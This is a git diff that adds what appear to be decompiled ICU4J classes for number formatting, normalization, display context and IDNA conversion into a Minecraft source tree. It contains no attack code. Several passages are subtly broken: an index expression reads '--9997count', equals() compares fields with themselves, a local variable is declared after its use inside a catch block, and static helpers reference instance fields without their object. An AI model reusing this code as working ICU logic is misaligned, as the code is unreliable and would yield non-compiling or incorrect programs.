+  public final void set(java.math.BigDecimal source, int maximumDigits, boolean fixedPoint)
+  {
+    setBigDecimalDigits(source.toString(), maximumDigits, fixedPoint);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public final void set(com.ibm.icu.math.BigDecimal source, int maximumDigits, boolean fixedPoint)
+  {
+    setBigDecimalDigits(source.toString(), maximumDigits, fixedPoint);
+  }
+  
+
+
+
+
+  private boolean isLongMIN_VALUE()
+  {
+    if ((decimalAt != count) || (count != 19)) {
+      return false;
+    }
+    for (int i = 0; i < count; i++)
+    {
+      if (digits[i] != LONG_MIN_REP[i]) { return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+  static
+  {
+    String s = Long.toString(Long.MIN_VALUE);
+    LONG_MIN_REP = new byte[19];
+    for (int i = 0; i < 19; i++)
+    {
+      LONG_MIN_REP[i] = ((byte)s.charAt(i + 1));
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean equals(Object obj)
+  {
+    if (this == obj)
+      return true;
+    if (!(obj instanceof DigitList))
+      return false;
+    DigitList other = (DigitList)obj;
+    if ((count != count) || (decimalAt != decimalAt))
+    {
+      return false; }
+    for (int i = 0; i < count; i++)
+      if (digits[i] != digits[i])
+        return false;
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = decimalAt;
+    
+    for (int i = 0; i < count; i++) {
+      hashcode = hashcode * 37 + digits[i];
+    }
+    return hashcode;
+  }
+  
+  public String toString()
+  {
+    if (isZero()) return "0";
+    StringBuilder buf = new StringBuilder("0.");
+    for (int i = 0; i < count; i++) buf.append((char)digits[i]);
+    buf.append("x10^");
+    buf.append(decimalAt);
+    return buf.toString();
+  }
+  
+  DigitList() {}
+}
diff --git a/src/minecraft/com/ibm/icu/text/DisplayContext.java b/src/minecraft/com/ibm/icu/text/DisplayContext.java
new file mode 100644
index 0000000..1dceedb
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/DisplayContext.java
@@ -0,0 +1,126 @@
+package com.ibm.icu.text;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public enum DisplayContext
+{
+  STANDARD_NAMES(Type.DIALECT_HANDLING, 0), 
+  
+
+
+
+
+
+
+  DIALECT_NAMES(Type.DIALECT_HANDLING, 1), 
+  
+
+
+
+
+
+
+
+
+
+  CAPITALIZATION_NONE(Type.CAPITALIZATION, 0), 
+  
+
+
+
+
+
+
+  CAPITALIZATION_FOR_MIDDLE_OF_SENTENCE(Type.CAPITALIZATION, 1), 
+  
+
+
+
+
+
+
+  CAPITALIZATION_FOR_BEGINNING_OF_SENTENCE(Type.CAPITALIZATION, 2), 
+  
+
+
+
+
+
+
+  CAPITALIZATION_FOR_UI_LIST_OR_MENU(Type.CAPITALIZATION, 3), 
+  
+
+
+
+
+
+
+
+  CAPITALIZATION_FOR_STANDALONE(Type.CAPITALIZATION, 4);
+  
+
+
+  private final Type type;
+  
+
+  private final int value;
+  
+
+
+  public static enum Type
+  {
+    DIALECT_HANDLING, 
+    
+
+
+
+
+
+    CAPITALIZATION;
+    
+    private Type() {}
+  }
+  
+  private DisplayContext(Type type, int value) {
+    this.type = type;
+    this.value = value;
+  }
+  
+
+
+
+
+  public Type type()
+  {
+    return type;
+  }
+  
+
+
+
+
+  public int value()
+  {
+    return value;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/DurationFormat.java b/src/minecraft/com/ibm/icu/text/DurationFormat.java
new file mode 100644
index 0000000..7cf99d7
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/DurationFormat.java
@@ -0,0 +1,77 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.duration.BasicDurationFormat;
+import com.ibm.icu.util.ULocale;
+import java.text.FieldPosition;
+import java.text.ParsePosition;
+import java.util.Date;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class DurationFormat
+  extends UFormat
+{
+  private static final long serialVersionUID = -2076961954727774282L;
+  
+  public static DurationFormat getInstance(ULocale locale)
+  {
+    return BasicDurationFormat.getInstance(locale);
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  protected DurationFormat() {}
+  
+
+
+  /**
+   * @deprecated
+   */
+  protected DurationFormat(ULocale locale)
+  {
+    setLocale(locale, locale);
+  }
+  
+
+
+
+
+
+
+
+  public abstract StringBuffer format(Object paramObject, StringBuffer paramStringBuffer, FieldPosition paramFieldPosition);
+  
+
+
+
+
+
+
+  public Object parseObject(String source, ParsePosition pos)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public abstract String formatDurationFromNowTo(Date paramDate);
+  
+  public abstract String formatDurationFromNow(long paramLong);
+  
+  public abstract String formatDurationFrom(long paramLong1, long paramLong2);
+}
diff --git a/src/minecraft/com/ibm/icu/text/FilteredNormalizer2.java b/src/minecraft/com/ibm/icu/text/FilteredNormalizer2.java
new file mode 100644
index 0000000..57be421
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/FilteredNormalizer2.java
@@ -0,0 +1,297 @@
+package com.ibm.icu.text;
+
+import java.io.IOException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class FilteredNormalizer2
+  extends Normalizer2
+{
+  private Normalizer2 norm2;
+  private UnicodeSet set;
+  
+  public FilteredNormalizer2(Normalizer2 n2, UnicodeSet filterSet)
+  {
+    norm2 = n2;
+    set = filterSet;
+  }
+  
+
+
+
+
+  public StringBuilder normalize(CharSequence src, StringBuilder dest)
+  {
+    if (dest == src) {
+      throw new IllegalArgumentException();
+    }
+    dest.setLength(0);
+    normalize(src, dest, UnicodeSet.SpanCondition.SIMPLE);
+    return dest;
+  }
+  
+
+
+
+  public Appendable normalize(CharSequence src, Appendable dest)
+  {
+    if (dest == src) {
+      throw new IllegalArgumentException();
+    }
+    return normalize(src, dest, UnicodeSet.SpanCondition.SIMPLE);
+  }
+  
+
+
+
+
+
+  public StringBuilder normalizeSecondAndAppend(StringBuilder first, CharSequence second)
+  {
+    return normalizeSecondAndAppend(first, second, true);
+  }
+  
+
+
+
+  public StringBuilder append(StringBuilder first, CharSequence second)
+  {
+    return normalizeSecondAndAppend(first, second, false);
+  }
+  
+
+
+
+
+  public String getDecomposition(int c)
+  {
+    return set.contains(c) ? norm2.getDecomposition(c) : null;
+  }
+  
+
+
+
+
+  public String getRawDecomposition(int c)
+  {
+    return set.contains(c) ? norm2.getRawDecomposition(c) : null;
+  }
+  
+
+
+
+
+  public int composePair(int a, int b)
+  {
+    return (set.contains(a)) && (set.contains(b)) ? norm2.composePair(a, b) : -1;
+  }
+  
+
+
+
+
+  public int getCombiningClass(int c)
+  {
+    return set.contains(c) ? norm2.getCombiningClass(c) : 0;
+  }
+  
+
+
+
+
+  public boolean isNormalized(CharSequence s)
+  {
+    UnicodeSet.SpanCondition spanCondition = UnicodeSet.SpanCondition.SIMPLE;
+    for (int prevSpanLimit = 0; prevSpanLimit < s.length();) {
+      int spanLimit = set.span(s, prevSpanLimit, spanCondition);
+      if (spanCondition == UnicodeSet.SpanCondition.NOT_CONTAINED) {
+        spanCondition = UnicodeSet.SpanCondition.SIMPLE;
+      } else {
+        if (!norm2.isNormalized(s.subSequence(prevSpanLimit, spanLimit))) {
+          return false;
+        }
+        spanCondition = UnicodeSet.SpanCondition.NOT_CONTAINED;
+      }
+      prevSpanLimit = spanLimit;
+    }
+    return true;
+  }
+  
+
+
+
+
+  public Normalizer.QuickCheckResult quickCheck(CharSequence s)
+  {
+    Normalizer.QuickCheckResult result = Normalizer.YES;
+    UnicodeSet.SpanCondition spanCondition = UnicodeSet.SpanCondition.SIMPLE;
+    for (int prevSpanLimit = 0; prevSpanLimit < s.length();) {
+      int spanLimit = set.span(s, prevSpanLimit, spanCondition);
+      if (spanCondition == UnicodeSet.SpanCondition.NOT_CONTAINED) {
+        spanCondition = UnicodeSet.SpanCondition.SIMPLE;
+      } else {
+        Normalizer.QuickCheckResult qcResult = norm2.quickCheck(s.subSequence(prevSpanLimit, spanLimit));
+        
+        if (qcResult == Normalizer.NO)
+          return qcResult;
+        if (qcResult == Normalizer.MAYBE) {
+          result = qcResult;
+        }
+        spanCondition = UnicodeSet.SpanCondition.NOT_CONTAINED;
+      }
+      prevSpanLimit = spanLimit;
+    }
+    return result;
+  }
+  
+
+
+
+  public int spanQuickCheckYes(CharSequence s)
+  {
+    UnicodeSet.SpanCondition spanCondition = UnicodeSet.SpanCondition.SIMPLE;
+    for (int prevSpanLimit = 0; prevSpanLimit < s.length();) {
+      int spanLimit = set.span(s, prevSpanLimit, spanCondition);
+      if (spanCondition == UnicodeSet.SpanCondition.NOT_CONTAINED) {
+        spanCondition = UnicodeSet.SpanCondition.SIMPLE;
+      } else {
+        int yesLimit = prevSpanLimit + norm2.spanQuickCheckYes(s.subSequence(prevSpanLimit, spanLimit));
+        
+
+        if (yesLimit < spanLimit) {
+          return yesLimit;
+        }
+        spanCondition = UnicodeSet.SpanCondition.NOT_CONTAINED;
+      }
+      prevSpanLimit = spanLimit;
+    }
+    return s.length();
+  }
+  
+
+
+
+
+  public boolean hasBoundaryBefore(int c)
+  {
+    return (!set.contains(c)) || (norm2.hasBoundaryBefore(c));
+  }
+  
+
+
+
+
+  public boolean hasBoundaryAfter(int c)
+  {
+    return (!set.contains(c)) || (norm2.hasBoundaryAfter(c));
+  }
+  
+
+
+
+
+  public boolean isInert(int c)
+  {
+    return (!set.contains(c)) || (norm2.isInert(c));
+  }
+  
+
+
+
+
+
+
+
+
+  private Appendable normalize(CharSequence src, Appendable dest, UnicodeSet.SpanCondition spanCondition)
+  {
+    StringBuilder tempDest = new StringBuilder();
+    try {
+      for (prevSpanLimit = 0; prevSpanLimit < src.length();) {
+        int spanLimit = set.span(src, prevSpanLimit, spanCondition);
+        int spanLength = spanLimit - prevSpanLimit;
+        if (spanCondition == UnicodeSet.SpanCondition.NOT_CONTAINED) {
+          if (spanLength != 0) {
+            dest.append(src, prevSpanLimit, spanLimit);
+          }
+          spanCondition = UnicodeSet.SpanCondition.SIMPLE;
+        } else {
+          if (spanLength != 0)
+          {
+
+            dest.append(norm2.normalize(src.subSequence(prevSpanLimit, spanLimit), tempDest));
+          }
+          spanCondition = UnicodeSet.SpanCondition.NOT_CONTAINED;
+        }
+        prevSpanLimit = spanLimit;
+      }
+    } catch (IOException e) { int prevSpanLimit;
+      throw new RuntimeException(e);
+    }
+    return dest;
+  }
+  
+  private StringBuilder normalizeSecondAndAppend(StringBuilder first, CharSequence second, boolean doNormalize)
+  {
+    if (first == second) {
+      throw new IllegalArgumentException();
+    }
+    if (first.length() == 0) {
+      if (doNormalize) {
+        return normalize(second, first);
+      }
+      return first.append(second);
+    }
+    
+
+    int prefixLimit = set.span(second, 0, UnicodeSet.SpanCondition.SIMPLE);
+    if (prefixLimit != 0) {
+      CharSequence prefix = second.subSequence(0, prefixLimit);
+      int suffixStart = set.spanBack(first, Integer.MAX_VALUE, UnicodeSet.SpanCondition.SIMPLE);
+      if (suffixStart == 0) {
+        if (doNormalize) {
+          norm2.normalizeSecondAndAppend(first, prefix);
+        } else {
+          norm2.append(first, prefix);
+        }
+      } else {
+        StringBuilder middle = new StringBuilder(first.subSequence(suffixStart, first.length()));
+        
+        if (doNormalize) {
+          norm2.normalizeSecondAndAppend(middle, prefix);
+        } else {
+          norm2.append(middle, prefix);
+        }
+        first.delete(suffixStart, Integer.MAX_VALUE).append(middle);
+      }
+    }
+    if (prefixLimit < second.length()) {
+      CharSequence rest = second.subSequence(prefixLimit, second.length());
+      if (doNormalize) {
+        normalize(rest, first, UnicodeSet.SpanCondition.NOT_CONTAINED);
+      } else {
+        first.append(rest);
+      }
+    }
+    return first;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/FractionalPartSubstitution.java b/src/minecraft/com/ibm/icu/text/FractionalPartSubstitution.java
new file mode 100644
index 0000000..122938e
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/FractionalPartSubstitution.java
@@ -0,0 +1,1431 @@
+package com.ibm.icu.text;
+
+import java.text.ParsePosition;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class FractionalPartSubstitution
+  extends NFSubstitution
+{
+  private boolean byDigits = false;
+  
+
+
+
+
+  private boolean useSpaces = true;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  FractionalPartSubstitution(int pos, NFRuleSet ruleSet, RuleBasedNumberFormat formatter, String description)
+  {
+    super(pos, ruleSet, formatter, description);
+    
+
+
+    if ((description.equals(">>")) || (description.equals(">>>")) || (ruleSet == this.ruleSet)) {
+      byDigits = true;
+      if (description.equals(">>>")) {
+        useSpaces = false;
+      }
+    } else {
+      this.ruleSet.makeIntoFractionRuleSet();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void doSubstitution(double number, StringBuffer toInsertInto, int position)
+  {
+    if (!byDigits) {
+      super.doSubstitution(number, toInsertInto, position);
+
+
+
+
+
+    }
+    else
+    {
+
+
+
+
+
+      DigitList dl = new DigitList();
+      dl.set(number, 20, true);
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      boolean pad = false;
+      for (; count > Math.max(0, decimalAt); 
+          
+
+
+
+
+          ruleSet.format(digits[(--9997count)] - 48, toInsertInto, position + pos)) {
+        if ((pad) && (useSpaces)) {
+          toInsertInto.insert(position + pos, ' ');
+        } else {
+          pad = true;
+        }
+      }
+      
+      while (decimalAt < 0) {
+        if ((pad) && (useSpaces)) {
+          toInsertInto.insert(position + pos, ' ');
+        } else {
+          pad = true;
+        }
+        ruleSet.format(0L, toInsertInto, position + pos);
+        decimalAt += 1;
+      }
+    }
+  }
+  
+
+
+
+
+
+  public long transformNumber(long number)
+  {
+    return 0L;
+  }
+  
+
+
+
+
+  public double transformNumber(double number)
+  {
+    return number - Math.floor(number);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Number doParse(String text, ParsePosition parsePosition, double baseValue, double upperBound, boolean lenientParse)
+  {
+    if (!byDigits) {
+      return super.doParse(text, parsePosition, baseValue, 0.0D, lenientParse);
+    }
+    
+
+
+
+
+    String workText = text;
+    ParsePosition workPos = new ParsePosition(1);
+    double result = 0.0D;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    DigitList dl = new DigitList();
+    while ((workText.length() > 0) && (workPos.getIndex() != 0)) {
+      workPos.setIndex(0);
+      int digit = ruleSet.parse(workText, workPos, 10.0D).intValue();
+      if ((lenientParse) && (workPos.getIndex() == 0)) {
+        Number n = rbnf.getDecimalFormat().parse(workText, workPos);
+        if (n != null) {
+          digit = n.intValue();
+        }
+      }
+      
+      if (workPos.getIndex() != 0) {
+        dl.append(48 + digit);
+        
+        parsePosition.setIndex(parsePosition.getIndex() + workPos.getIndex());
+        workText = workText.substring(workPos.getIndex());
+        while ((workText.length() > 0) && (workText.charAt(0) == ' ')) {
+          workText = workText.substring(1);
+          parsePosition.setIndex(parsePosition.getIndex() + 1);
+        }
+      }
+    }
+    result = count == 0 ? 0.0D : dl.getDouble();
+    
+    result = composeRuleValue(result, baseValue);
+    return new Double(result);
+  }
+  
+
+
+
+
+
+
+
+  public double composeRuleValue(double newRuleValue, double oldRuleValue)
+  {
+    return newRuleValue + oldRuleValue;
+  }
+  
+
+
+  public double calcUpperBound(double oldUpperBound)
+  {
+    return 0.0D;
+  }
+  
+
+
+
+
+
+
+
+  char tokenChar()
+  {
+    return '>';
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/IDNA.java b/src/minecraft/com/ibm/icu/text/IDNA.java
new file mode 100644
index 0000000..faecb6e
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/IDNA.java
@@ -0,0 +1,935 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.IDNA2003;
+import com.ibm.icu.impl.UTS46;
+import java.util.Collections;
+import java.util.EnumSet;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class IDNA
+{
+  public static final int DEFAULT = 0;
+  public static final int ALLOW_UNASSIGNED = 1;
+  public static final int USE_STD3_RULES = 2;
+  public static final int CHECK_BIDI = 4;
+  public static final int CHECK_CONTEXTJ = 8;
+  public static final int NONTRANSITIONAL_TO_ASCII = 16;
+  public static final int NONTRANSITIONAL_TO_UNICODE = 32;
+  public static final int CHECK_CONTEXTO = 64;
+  
+  public static IDNA getUTS46Instance(int options)
+  {
+    return new UTS46(options);
+  }
+  
+
+
+
+
+
+  public abstract StringBuilder labelToASCII(CharSequence paramCharSequence, StringBuilder paramStringBuilder, Info paramInfo);
+  
+
+
+
+
+
+  public abstract StringBuilder labelToUnicode(CharSequence paramCharSequence, StringBuilder paramStringBuilder, Info paramInfo);
+  
+
+
+
+
+
+  public abstract StringBuilder nameToASCII(CharSequence paramCharSequence, StringBuilder paramStringBuilder, Info paramInfo);
+  
+
+
+
+
+
+  public abstract StringBuilder nameToUnicode(CharSequence paramCharSequence, StringBuilder paramStringBuilder, Info paramInfo);
+  
+
+
+
+
+
+  public static final class Info
+  {
+    private EnumSet<IDNA.Error> errors;
+    
+
+
+
+
+    private EnumSet<IDNA.Error> labelErrors;
+    
+
+
+
+
+    private boolean isTransDiff;
+    
+
+
+
+
+    private boolean isBiDi;
+    
+
+
+
+
+    private boolean isOkBiDi;
+    
+
+
+
+
+    public Info()
+    {
+      errors = EnumSet.noneOf(IDNA.Error.class);
+      labelErrors = EnumSet.noneOf(IDNA.Error.class);
+      isTransDiff = false;
+      isBiDi = false;
+      isOkBiDi = true;
+    }
+    
+
+
+    public boolean hasErrors()
+    {
+      return !errors.isEmpty();
+    }
+    
+
+    public Set<IDNA.Error> getErrors()
+    {
+      return errors;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+    public boolean isTransitionalDifferent() { return isTransDiff; }
+    
+    private void reset() {
+      errors.clear();
+      labelErrors.clear();
+      isTransDiff = false;
+      isBiDi = false;
+      isOkBiDi = true;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  protected static void resetInfo(Info info)
+  {
+    info.reset();
+  }
+  
+  /**
+   * @deprecated
+   */
+  protected static boolean hasCertainErrors(Info info, EnumSet<Error> errors) {
+    return (!info.errors.isEmpty()) && (!Collections.disjoint(info.errors, errors));
+  }
+  
+  /**
+   * @deprecated
+   */
+  protected static boolean hasCertainLabelErrors(Info info, EnumSet<Error> errors) {
+    return (!labelErrors.isEmpty()) && (!Collections.disjoint(labelErrors, errors));
+  }
+  
+  /**
+   * @deprecated
+   */
+  protected static void addLabelError(Info info, Error error) {
+    labelErrors.add(error);
+  }
+  
+  /**
+   * @deprecated
+   */
+  protected static void promoteAndResetLabelErrors(Info info) {
+    if (!labelErrors.isEmpty()) {
+      errors.addAll(labelErrors);
+      labelErrors.clear();
+    }
+  }
+  
+  /**
+   * @deprecated
+   */
+  protected static void addError(Info info, Error error) {
+    errors.add(error);
+  }
+  
+  /**
+   * @deprecated
+   */
+  protected static void setTransitionalDifferent(Info info) {
+    isTransDiff = true;
+  }
+  
+  /**
+   * @deprecated
+   */
+  protected static void setBiDi(Info info) {
+    isBiDi = true;
+  }
+  
+  /**
+   * @deprecated
+   */
+  protected static boolean isBiDi(Info info) {
+    return isBiDi;
+  }
+  
+  /**
+   * @deprecated
+   */
+  protected static void setNotOkBiDi(Info info) {
+    isOkBiDi = false;
+  }
+  
+  /**
+   * @deprecated
+   */
+  protected static boolean isOkBiDi(Info info) {
+    return isOkBiDi;
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  protected IDNA() {}
+  
+
+
+  public static enum Error
+  {
+    EMPTY_LABEL, 
+    
+
+
+
+
+
+    LABEL_TOO_LONG, 
+    
+
+
+
+
+
+    DOMAIN_NAME_TOO_LONG, 
+    
+
+
+
+    LEADING_HYPHEN, 
+    
+
+
+
+    TRAILING_HYPHEN, 
+    
+
+
+
+    HYPHEN_3_4, 
+    
+
+
+
+    LEADING_COMBINING_MARK, 
+    
+
+
+
+    DISALLOWED, 
+    
+
+
+
+
+    PUNYCODE, 
+    
+
+
+
+
+    LABEL_HAS_DOT, 
+    
+
+
+
+
+
+
+
+    INVALID_ACE_LABEL, 
+    
+
+
+
+    BIDI, 
+    
+
+
+
+    CONTEXTJ, 
+    
+
+
+
+
+
+    CONTEXTO_PUNCTUATION, 
+    
+
+
+
+
+    CONTEXTO_DIGITS;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    private Error() {}
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static StringBuffer convertToASCII(String src, int options)
+    throws StringPrepParseException
+  {
+    UCharacterIterator iter = UCharacterIterator.getInstance(src);
+    return convertToASCII(iter, options);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static StringBuffer convertToASCII(StringBuffer src, int options)
+    throws StringPrepParseException
+  {
+    UCharacterIterator iter = UCharacterIterator.getInstance(src);
+    return convertToASCII(iter, options);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static StringBuffer convertToASCII(UCharacterIterator src, int options)
+    throws StringPrepParseException
+  {
+    return IDNA2003.convertToASCII(src, options);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static StringBuffer convertIDNToASCII(UCharacterIterator src, int options)
+    throws StringPrepParseException
+  {
+    return convertIDNToASCII(src.getText(), options);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static StringBuffer convertIDNToASCII(StringBuffer src, int options)
+    throws StringPrepParseException
+  {
+    return convertIDNToASCII(src.toString(), options);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static StringBuffer convertIDNToASCII(String src, int options)
+    throws StringPrepParseException
+  {
+    return IDNA2003.convertIDNToASCII(src, options);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static StringBuffer convertToUnicode(String src, int options)
+    throws StringPrepParseException
+  {
+    UCharacterIterator iter = UCharacterIterator.getInstance(src);
+    return convertToUnicode(iter, options);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static StringBuffer convertToUnicode(StringBuffer src, int options)
+    throws StringPrepParseException
+  {
+    UCharacterIterator iter = UCharacterIterator.getInstance(src);
+    return convertToUnicode(iter, options);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static StringBuffer convertToUnicode(UCharacterIterator src, int options)
+    throws StringPrepParseException
+  {
+    return IDNA2003.convertToUnicode(src, options);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static StringBuffer convertIDNToUnicode(UCharacterIterator src, int options)
+    throws StringPrepParseException
+  {
+    return convertIDNToUnicode(src.getText(), options);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static StringBuffer convertIDNToUnicode(StringBuffer src, int options)
+    throws StringPrepParseException
+  {
+    return convertIDNToUnicode(src.toString(), options);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static StringBuffer convertIDNToUnicode(String src, int options)
+    throws StringPrepParseException
+  {
+    return IDNA2003.convertIDNToUnicode(src, options);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int compare(StringBuffer s1, StringBuffer s2, int options)
+    throws StringPrepParseException
+  {
+    if ((s1 == null) || (s2 == null)) {
+      throw new IllegalArgumentException("One of the source buffers is null");
+    }
+    return IDNA2003.compare(s1.toString(), s2.toString(), options);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int compare(String s1, String s2, int options)
+    throws StringPrepParseException
+  {
+    if ((s1 == null) || (s2 == null)) {
+      throw new IllegalArgumentException("One of the source buffers is null");
+    }
+    return IDNA2003.compare(s1, s2, options);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
